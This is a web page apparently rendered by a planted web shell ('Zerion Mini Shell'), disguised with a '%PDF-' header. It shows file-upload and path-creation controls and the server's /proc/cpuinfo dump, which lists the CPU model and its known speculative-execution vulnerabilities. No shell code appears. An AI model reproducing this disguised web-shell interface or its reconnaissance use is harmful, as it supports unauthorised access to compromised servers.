%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 106
model name	: Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz
stepping	: 6
microcode	: 0xffffffff
cpu MHz		: 2394.375
cache size	: 24576 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 27
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology cpuid pni ssse3 cx16 sse4_1 sse4_2 popcnt hypervisor lahf_lm pti ssbd ibrs ibpb md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs mmio_stale_data retbleed bhi
bogomips	: 4788.75
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 106
model name	: Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz
stepping	: 6
microcode	: 0xffffffff
cpu MHz		: 2394.375
cache size	: 24576 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 4
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 27
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology cpuid pni ssse3 cx16 sse4_1 sse4_2 popcnt hypervisor lahf_lm pti ssbd ibrs ibpb md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs mmio_stale_data retbleed bhi
bogomips	: 4788.75
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 106
model name	: Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz
stepping	: 6
microcode	: 0xffffffff
cpu MHz		: 2394.375
cache size	: 24576 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 4
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 27
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology cpuid pni ssse3 cx16 sse4_1 sse4_2 popcnt hypervisor lahf_lm pti ssbd ibrs ibpb md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs mmio_stale_data retbleed bhi
bogomips	: 4788.75
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 106
model name	: Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz
stepping	: 6
microcode	: 0xffffffff
cpu MHz		: 2394.375
cache size	: 24576 KB
physical id	: 0
siblings	: 4
core id		: 3
cpu cores	: 4
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 27
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology cpuid pni ssse3 cx16 sse4_1 sse4_2 popcnt hypervisor lahf_lm pti ssbd ibrs ibpb md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs mmio_stale_data retbleed bhi
bogomips	: 4788.75
clflush size	: 64
cache_alignment	: 64
address sizes	: 46 bits physical, 48 bits virtual
power management:


Zerion Mini Shell 1.0